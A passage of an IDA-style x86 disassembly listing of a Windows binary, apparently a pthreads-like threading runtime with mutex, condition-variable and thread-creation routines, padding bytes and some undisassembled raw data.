		mov	esi, eax
		test	esi, esi
		jz	loc_4300C6
		mov	eax, [esi+28h]
		push	0Ch
		mov	[esp+14h+var_4], eax
		call	near ptr 77C2C407h
		nop
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	loc_4300C6
		mov	ecx, [esp+10h+arg_8]
		mov	edx, [esp+10h+arg_C]
		push	ebp
		mov	ebp, [esp+14h+arg_4]
		test	ebp, ebp
		mov	[ebx], esi
		mov	[ebx+4], ecx
		mov	[ebx+8], edx
		jz	short loc_43006E
		mov	eax, [ebp+0]
		test	eax, eax
		jz	short loc_43006E
		mov	edi, [eax+8]
		mov	eax, [eax+0Ch]
		mov	[esi+20h], eax
		mov	eax, [ebp+0]
		mov	ecx, [eax+10h]
		mov	[esp+14h+var_4], ecx
		mov	ecx, [eax+14h]
		test	ecx, ecx
		jnz	short loc_430070
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	edx, [eax+28h]
		mov	[esp+14h+var_4], edx
		jmp	short loc_430070
; ---------------------------------------------------------------------------


loc_43006E:				; CODE XREF: sub_42FFF0+4Dj
					; sub_42FFF0+54j
		xor	edi, edi


loc_430070:				; CODE XREF: sub_42FFF0+6Ej
					; sub_42FFF0+7Cj
		push	esi
		push	4
		push	ebx
		xor	eax, eax
		push	offset loc_401B95
		push	edi
		push	eax
		mov	[esi+0Ch], eax
		mov	[esi+80h], eax
		call	near ptr 77C3A3DBh
		nop
		mov	edi, eax
		add	esp, 18h
		test	edi, edi
		mov	[esi+4], edi
		jz	short loc_4300B9
		test	ebp, ebp
		jz	short loc_4300B2
		cmp	dword ptr [ebp+0], 0
		jz	short loc_4300B2
		mov	eax, [esp+14h+var_4]
		push	eax
		push	0
		push	esi
		call	sub_4020B3
		add	esp, 0Ch


loc_4300B2:				; CODE XREF: sub_42FFF0+AAj
					; sub_42FFF0+B0j
		push	edi
		nop
		call	near ptr 2800593h


loc_4300B9:				; CODE XREF: sub_42FFF0+A6j
		neg	edi
		sbb	edi, edi
		pop	ebp
		and	edi, 0FFFFFFF5h
		add	edi, 0Bh
		jz	short loc_4300F9


loc_4300C6:				; CODE XREF: sub_42FFF0+14j
					; sub_42FFF0+30j
		push	esi
		call	sub_4017AD
		add	esp, 4
		xor	esi, esi
		test	ebx, ebx
		jz	short loc_4300EC
		push	ebx
		call	near ptr 77C2C21Bh
		nop
		mov	ecx, [esp+14h+arg_0]
		add	esp, 4
		mov	eax, edi
		mov	[ecx], esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4300EC:				; CODE XREF: sub_42FFF0+E3j
		mov	edx, [esp+10h+arg_0]
		mov	eax, edi
		pop	edi
		mov	[edx], esi
		pop	esi
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4300F9:				; CODE XREF: sub_42FFF0+D4j
		mov	eax, [esp+10h+arg_0]
		mov	[eax], esi
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		retn
sub_42FFF0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430160:				; CODE XREF: ___:00401343j
		mov	ecx, [esp+8]
		mov	eax, 1
		cmp	ecx, 3		; switch 4 cases
		ja	short locret_430197 ; default
		jmp	off_43019C[ecx*4] ; switch jump


loc_430175:				; DATA XREF: ___:off_43019Co
		call	sub_401708	; jumptable 0043016E case 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_43017D:				; CODE XREF: ___:0043016Ej
					; DATA XREF: ___:off_43019Co
		call	sub_4017B2	; jumptable 0043016E case 2
		retn	0Ch
; ---------------------------------------------------------------------------


loc_430185:				; CODE XREF: ___:0043016Ej
					; DATA XREF: ___:off_43019Co
		call	sub_4017C1	; jumptable 0043016E case 3
		retn	0Ch
; ---------------------------------------------------------------------------


loc_43018D:				; CODE XREF: ___:0043016Ej
					; DATA XREF: ___:off_43019Co
		call	sub_4017C1	; jumptable 0043016E case 0
		call	sub_40161D

locret_430197:				; CODE XREF: ___:0043016Cj
		retn	0Ch		; default
; ---------------------------------------------------------------------------
		align 4
off_43019C	dd offset loc_43018D	; DATA XREF: ___:0043016Er
		dd offset loc_430175	; jump table for switch	statement
		dd offset loc_43017D
		dd offset loc_430185
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4301D0:				; CODE XREF: ___:004017B7j
		mov	eax, dword_50E3A8
		push	esi
		push	edi
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		db 8Bh,	7Ch, 24h
		dd 83F08B10h, 0F68504C4h, 90570A75h, 80A116E8h,	4C48377h
		dd 7E89016Ah, 1BD6E814h, 0C483FFFDh, 0C35E5F04h, 3 dup(90909090h)
		dd 4 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_430220	proc near		; CODE XREF: sub_401758j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	offset dword_50E8C0
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_43024B
		mov	eax, [eax+4]
		test	eax, eax
		jz	short loc_43024B
		push	eax
		nop
		call	near ptr 27F0ACCh
		cmp	eax, 7FFFFFFFh
		jnz	short loc_430250


loc_43024B:				; CODE XREF: sub_430220+14j
					; sub_430220+1Bj
		mov	esi, 3


loc_430250:				; CODE XREF: sub_430220+29j
		push	offset dword_50E8C0
		call	near ptr 7C9010EDh
		nop
		test	esi, esi
		jnz	short loc_43026C
		mov	eax, [esp+4+arg_4]
		test	eax, eax
		mov	eax, 16h
		jnz	short loc_43026E


loc_43026C:				; CODE XREF: sub_430220+3Dj
		mov	eax, esi


loc_43026E:				; CODE XREF: sub_430220+4Aj
		pop	esi
		retn
sub_430220	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430290:				; CODE XREF: ___:0040164Aj
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	short loc_4302E1
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_4302E1
		mov	eax, [esi]
		xor	ebx, ebx
		test	eax, eax
		jnz	short loc_4302C1
		lea	eax, [esi+4]
		push	eax
		call	near ptr 27F0A04h
		nop
		test	eax, eax
		jnz	short loc_4302C7
		call	edi	; _errno
		mov	dword ptr [esi], 1


loc_4302C1:				; CODE XREF: ___:004302A9j
					; ___:004302CAj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4302C7:				; CODE XREF: ___:004302B7j
		cmp	dword ptr [esi], 0
		jnz	short loc_4302C1
		mov	edi, dword_50F8D0


loc_4302D2:				; CODE XREF: ___:004302D9j
		push	0
		call	edi
		cmp	dword ptr [esi], 0
		jz	short loc_4302D2
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4302E1:				; CODE XREF: ___:00430299j
					; ___:004302A1j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_430310	proc near		; CODE XREF: sub_4012E4j
		mov	eax, dword_50E3A8
		push	esi
		push	edi
		push	eax
		call	sub_401190
sub_430310	endp

; ---------------------------------------------------------------------------
		db 8Bh,	0F0h, 83h
		dd 0F68504C4h, 0E8E87675h, 8BFFFD17h, 74F685F0h, 7C7E8B5Bh
		dd 1B8h, 53F80B00h, 897C7E89h, 0E8902046h, 23C0164h, 0F8701D8Bh
		dd 26A0050h, 6A047E8Dh,	57006A00h, 0D3FF0689h, 0A1E89050h
		dd 50023E04h, 9050D3FFh, 3C0165E8h, 5BC08502h, 0E8560E75h
		dd 0FFFD1845h, 3304C483h, 0C35E5FC0h, 90510F8Bh, 3C0743E8h
		dd 28468902h, 0E3A8158Bh, 52560050h, 0FD1D42E8h, 8C483FFh
		dd 5E5FC68Bh, 909090C3h, 3 dup(90909090h), 0Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_4303E0	proc near		; CODE XREF: sub_401A50j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jnz	short loc_4303FE
		test	eax, eax
		jz	short loc_4303F8
		mov	eax, [eax]
		mov	edx, [ecx]
		cmp	eax, edx
		jnz	short loc_4303FE


loc_4303F8:				; CODE XREF: sub_4303E0+Ej
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_4303FE:				; CODE XREF: sub_4303E0+Aj
					; sub_4303E0+16j
		xor	eax, eax
		retn
sub_4303E0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430420:				; CODE XREF: ___:00401FF0j
		mov	eax, [esp+4]
		test	eax, eax
		jge	short loc_43042E
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_43042E:				; CODE XREF: ___:00430426j
		mov	dword_50E3B8, eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430450:				; CODE XREF: ___:0040155Aj
		mov	eax, dword_50E3B8
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430470	proc near		; CODE XREF: sub_401B13j
		push	esi
		call	sub_401307
		mov	esi, eax
		test	esi, esi
		jnz	short loc_430492
		push	84h
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jz	short loc_4304D9


loc_430492:				; CODE XREF: sub_430470+Aj
		push	0
		push	0
		or	eax, 0FFFFFFFFh
		push	1
		push	0
		mov	dword ptr [esi+28h], 0
		mov	dword ptr [esi+20h], 0
		mov	dword ptr [esi+30h], 0
		mov	dword ptr [esi+34h], 1
		mov	[esi+2Ch], eax
		mov	[esi+24h], eax
		nop
		call	near ptr 27F0000h
		test	eax, eax
		mov	[esi+38h], eax
		jnz	short loc_4304D9
		push	esi
		call	sub_401BBD
		add	esp, 4
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4304D9:				; CODE XREF: sub_430470+20j
					; sub_430470+5Aj
		mov	eax, esi
		pop	esi
		retn
sub_430470	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430500	proc near		; CODE XREF: sub_401307j
		push	esi
		push	offset dword_50E8C0
		nop
		call	near ptr 7C901005h
		mov	esi, dword_44570C
		cmp	esi, 1
		jz	short loc_430535
		mov	eax, [esi+8]
		push	offset dword_50E8C0
		mov	dword_44570C, eax
		mov	dword ptr [esi+8], 0
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430535:				; CODE XREF: sub_430500+15j
		push	offset dword_50E8C0
		xor	esi, esi
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_430500	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430570	proc near		; CODE XREF: sub_401BBDj

arg_0		= dword	ptr  4

		push	edi
		push	offset dword_50E8C0
		nop
		call	near ptr 7C901005h
		mov	edx, [esp+4+arg_0]
		mov	ecx, 21h
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, dword_44570C
		push	offset dword_50E8C0
		mov	[edx+8], eax
		mov	dword_44570C, edx
		nop
		call	near ptr 7C9010EDh
		pop	edi
		retn
sub_430570	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4305C0	proc near		; CODE XREF: sub_401640j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0FFFFFFFFh
		push	eax
		call	sub_4305E0
sub_4305C0	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4305E0	proc near		; CODE XREF: sub_4305C0+7p
					; sub_430700+Ap

var_8		= dword	ptr -8
arg_0		= dword	ptr  4

		sub	esp, 8
		mov	eax, [esp+8+arg_0]
		push	esi
		push	edi
		mov	edi, 1
		mov	[esp+10h+var_8], eax
		call	sub_4012E4
sub_4305E0	endp

; ---------------------------------------------------------------------------
		mov	esi, eax
		test	esi, esi
		jz	short loc_430616
		mov	eax, [esi+30h]
		test	eax, eax
		jnz	short loc_43061E
		mov	eax, [esi+38h]
		test	eax, eax
		mov	[esp+0Ch], eax
		jz	short loc_43061E
		mov	edi, 2
		jmp	short loc_43061E
; ---------------------------------------------------------------------------


loc_430616:				; CODE XREF: ___:004305FBj
		mov	dword ptr [esp+0Ch], 0


loc_43061E:				; CODE XREF: ___:00430602j
					; ___:0043060Dj ...
		mov	ecx, [esp+18h]
		lea	edx, [esp+8]
		push	ecx
		push	0
		push	edx
		push	edi
		nop
		call	near ptr 27E0B3Bh
		mov	ecx, eax
		sub	ecx, 0
		jz	short loc_4306A9
		dec	ecx
		jz	short loc_430654
		sub	eax, 102h
		pop	edi
		neg	eax
		sbb	eax, eax
		pop	esi
		and	eax, 0FFFFD8CAh
		add	eax, 274Ch
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_430654:				; CODE XREF: ___:00430639j
		mov	eax, [esp+0Ch]
		push	eax
		call	near ptr 2800AA1h
		nop
		test	esi, esi
		jz	short loc_43069E
		lea	edi, [esi+2Ch]
		push	edi
		call	sub_402225
		mov	ecx, [esi+0Ch]
		mov	eax, 3
		add	esp, 4
		cmp	ecx, eax
		jge	short loc_430695
		push	edi
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DD4
; ---------------------------------------------------------------------------
		add	esp, 8


loc_430695:				; CODE XREF: ___:00430679j
		push	edi
		call	sub_4010C3
		add	esp, 4


loc_43069E:				; CODE XREF: ___:00430661j
		pop	edi
		mov	eax, 16h
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_4306A9:				; CODE XREF: ___:00430636j
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_430700	proc near		; CODE XREF: sub_401D70j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4305E0
sub_430700	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430730	proc near		; CODE XREF: sub_401C03j

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_50E920
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_430764
		push	esi
		push	ecx
		call	sub_402199
		add	esp, 8
		mov	esi, eax
		push	offset dword_50E920
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430764:				; CODE XREF: sub_430730+17j
		test	eax, eax
		jnz	short loc_43076D
		mov	esi, 16h


loc_43076D:				; CODE XREF: sub_430730+36j
		push	offset dword_50E920
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		retn
sub_430730	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4307A0	proc near		; CODE XREF: sub_402199j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	ebp
		xor	ebp, ebp
		push	edi
		test	eax, eax
		jnz	short loc_4307B4
		pop	edi
		mov	eax, 16h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4307B4:				; CODE XREF: sub_4307A0+Aj
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_4307CF
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_4307CF
		cmp	dword ptr [eax], 1
		jnz	short loc_4307CF
		pop	edi
		mov	eax, 28h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4307CF:				; CODE XREF: sub_4307A0+1Aj
					; sub_4307A0+20j ...
		push	esi
		push	2Ch
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_4307F4
		mov	edx, [esp+0Ch+arg_0]
		mov	ebp, 0Ch
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4307F4:				; CODE XREF: sub_4307A0+41j
		test	edi, edi
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	dword ptr [esi+4], 0
		jz	short loc_430810
		mov	edi, [edi]
		test	edi, edi
		jz	short loc_430810
		mov	edi, [edi+4]
		jmp	short loc_430812
; ---------------------------------------------------------------------------


loc_430810:				; CODE XREF: sub_4307A0+63j
					; sub_4307A0+69j
		xor	edi, edi


loc_430812:				; CODE XREF: sub_4307A0+6Ej
		push	0
		lea	eax, [esi+10h]
		push	0
		push	eax
		mov	[esi+8], edi
		mov	dword ptr [esi+0Ch], 0
		call	sub_401C76
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_43084D
		push	esi
		mov	ebp, 0Bh
		call	near ptr 77C2C21Bh
		nop
		mov	edx, [esp+10h+arg_0]
		add	esp, 4
		xor	esi, esi
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_43084D:				; CODE XREF: sub_4307A0+8Ej
		lea	ecx, [esi+14h]
		push	ecx
		call	near ptr 2810534h
		nop
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
sub_4307A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4308B0	proc near		; CODE XREF: sub_40222Fj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		test	edi, edi
		jz	loc_430990
		mov	eax, [edi]
		test	eax, eax
		jz	loc_430990
		cmp	eax, 0FFFFFFFFh
		jz	loc_430955
		mov	[esp+8+arg_0], eax
		lea	eax, [esp+8+arg_0]
		push	eax
		call	sub_40177B
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	loc_43098B
		mov	ecx, [esp+8+arg_0]
		mov	eax, [ecx+4]
		cmp	eax, 1
		jnz	short loc_430947
		lea	ecx, [esp+8+arg_0]
		mov	[edi], esi
		push	ecx
		call	sub_4010C3
		mov	edx, [esp+0Ch+arg_0]
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	short loc_430940
		add	edx, 10h
		push	edx
		call	sub_401686
		mov	eax, [esp+0Ch+arg_0]
		add	esp, 4
		add	eax, 14h
		push	eax
		nop
		call	near ptr 2810000h
		mov	ecx, [esp+8+arg_0]
		push	ecx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430940:				; CODE XREF: sub_4308B0+61j
		mov	[edi], edx
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430947:				; CODE XREF: sub_4308B0+48j
		dec	eax
		mov	esi, 10h
		mov	[ecx+4], eax
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430955:				; CODE XREF: sub_4308B0+1Dj
		push	offset dword_50E920
		nop
		call	near ptr 7C901005h
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_43097B
		push	offset dword_50E920
		mov	dword ptr [edi], 0
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43097B:				; CODE XREF: sub_4308B0+B3j
		push	offset dword_50E920
		mov	esi, 10h
		nop
		call	near ptr 7C9010EDh


loc_43098B:				; CODE XREF: sub_4308B0+38j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430990:				; CODE XREF: sub_4308B0+Aj
					; sub_4308B0+14j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_4308B0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4309E0	proc near		; CODE XREF: sub_401A0Fj

arg_0		= dword	ptr  4

		push	esi
		push	8
		push	1
		xor	esi, esi
		call	near ptr 77C2C0C3h
		nop
		add	esp, 8
		cmp	eax, esi
		jnz	short loc_430A03
		mov	edx, [esp+4+arg_0]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_430A03:				; CODE XREF: sub_4309E0+12j
		mov	ecx, [esp+4+arg_0]
		mov	[eax], esi
		mov	[eax+4], esi
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
sub_4309E0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430A30	proc near		; CODE XREF: sub_4010AAj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_430A51
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_430A51
		push	eax
		mov	[ecx], esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430A51:				; CODE XREF: sub_430A30+9j
					; sub_430A30+Fj
		mov	eax, 16h
		pop	esi
		retn
sub_430A30	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430A70:				; CODE XREF: ___:00401BA9j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_430A8D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_430A8D
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_430A8D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_430A8D:				; CODE XREF: ___:00430A76j
					; ___:00430A7Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430AB0:				; CODE XREF: ___:004018F7j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_430ADA
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_430ADA
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_430ACE
		test	eax, eax
		jnz	short loc_430ADA
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_430ACE:				; CODE XREF: ___:00430AC5j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_430ADA:				; CODE XREF: ___:00430AB6j
					; ___:00430ABCj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430AF0	proc near		; CODE XREF: sub_40119Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		xor	eax, eax
		test	ecx, ecx
		jz	short loc_430B11
		mov	ecx, [ecx]
		test	ecx, ecx
		jz	short loc_430B11
		mov	edx, [esp+arg_4]
		test	edx, edx
		jl	short loc_430B11
		cmp	edx, 2
		jg	short loc_430B11
		mov	[ecx+4], edx
		retn
; ---------------------------------------------------------------------------


loc_430B11:				; CODE XREF: sub_430AF0+8j
					; sub_430AF0+Ej ...
		mov	eax, 16h
		retn
sub_430AF0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430B30	proc near		; CODE XREF: sub_4018C0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		xor	eax, eax
		test	ecx, ecx
		jz	short loc_430B4E
		mov	ecx, [ecx]
		test	ecx, ecx
		jz	short loc_430B4E
		mov	edx, [esp+arg_4]
		test	edx, edx
		jz	short loc_430B4E
		mov	ecx, [ecx+4]
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_430B4E:				; CODE XREF: sub_430B30+8j
					; sub_430B30+Ej ...
		mov	eax, 16h
		retn
sub_430B30	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430B70	proc near		; CODE XREF: sub_402225j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	loc_430C27
		mov	eax, [esi]
		test	eax, eax
		jz	loc_430C27
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_430BA1
		push	esi
		call	sub_401C03
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_430BA1
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430BA1:				; CODE XREF: sub_430B70+1Dj
					; sub_430B70+2Cj
		mov	esi, [esi]
		push	esi
		call	near ptr 27F0A04h
		nop
		test	eax, eax
		jnz	short loc_430BCA


loc_430BAE:				; CODE XREF: sub_430B70+A8j
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_430BC2
		call	sub_4012E4
; ---------------------------------------------------------------------------


loc_430BC2:				; CODE XREF: sub_430B70+4Bj
		mov	[esi+0Ch], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430BCA:				; CODE XREF: sub_430B70+3Cj
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_430C0A
		call	sub_4012E4
; ---------------------------------------------------------------------------
		dw 8B50h
		dd 0E8500C46h, 0FFFD0E70h, 8508C483h, 562374C0h, 90E890h
		dd 7E83023Dh, 0C750108h, 4004468Bh, 8B044689h, 0C35E5FC7h
		dd 24BFh, 5FC78B00h
; ---------------------------------------------------------------------------
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430C0A:				; CODE XREF: sub_430B70+5Fj
		lea	ecx, [esi+10h]
		push	ecx
		call	sub_430C60
		add	esp, 4
		test	eax, eax
		jz	short loc_430BAE
		nop
		call	near ptr 77C1F2BCh
		mov	edi, [eax]
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430C27:				; CODE XREF: sub_430B70+Aj
					; sub_430B70+14j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_430B70	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430C60	proc near		; CODE XREF: sub_430B70+9Ep

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_430C7A
		mov	eax, [eax]
		push	0FFFFFFFFh
		mov	ecx, [eax]
		push	ecx
		nop
		call	near ptr 280093Eh
		test	eax, eax
		jnz	short loc_430C7A
		retn
; ---------------------------------------------------------------------------


loc_430C7A:				; CODE XREF: sub_430C60+6j
					; sub_430C60+17j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_430C60	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430CA0	proc near		; CODE XREF: sub_401BC2j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebp
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebp, ebp
		test	esi, esi
		jz	loc_430E38
		mov	eax, [esi]
		test	eax, eax
		jz	loc_430E38
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_430CD1
		push	esi
		call	sub_401C03
		mov	ebp, eax
		add	esp, 4
		test	ebp, ebp
		jz	short loc_430CD1
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430CD1:				; CODE XREF: sub_430CA0+1Dj
					; sub_430CA0+2Cj
		mov	esi, [esi]
		push	ebx
		push	edi
		push	esi
		nop
		call	near ptr 27F0A04h
		test	eax, eax
		jnz	short loc_430D02


loc_430CE0:				; CODE XREF: sub_430CA0+175j
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	loc_430E2E
		call	sub_4012E4
; ---------------------------------------------------------------------------
		pop	edi
		mov	[esi+0Ch], eax
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


